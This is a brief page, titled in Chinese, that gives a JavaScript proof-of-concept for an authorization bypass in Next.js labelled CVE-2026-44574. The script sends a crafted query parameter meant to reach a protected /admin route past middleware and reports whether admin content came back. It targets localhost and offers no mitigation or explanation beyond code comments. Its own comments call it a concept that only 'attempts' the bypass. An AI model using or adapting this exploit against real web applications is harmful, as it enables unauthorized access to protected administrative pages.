CVE-2026-44574 Next.js授权绕过漏洞

// PoC for CVE-2026-44574: Next.js Authorization Bypass // Concept: Manipulating query parameters to alter dynamic route values const axios = require('axios'); async function checkVulnerability(baseUrl) { // Scenario: Accessing a protected route /admin/[id] which is usually blocked // by middleware unless user is admin. // Normal request (blocked) // let normalUrl = `${baseUrl}/admin/1`; // Malicious request using crafted query parameter // This attempts to trick the page into thinking it's viewing a valid route // while the middleware sees a different path or fails to intercept correctly. let exploitUrl = `${baseUrl}/dashboard?__nextInternalData=nextRoute=/admin/1`; try { let response = await axios.get(exploitUrl); if (response.status === 200 && response.data.includes('Admin Panel')) { console.log('[+] Vulnerability Exploited! Protected content accessed.'); } else { console.log('[-] Content not accessible or patched.'); } } catch (error) { console.error('Error connecting to target:', error.message); } } checkVulnerability('http://localhost:3000');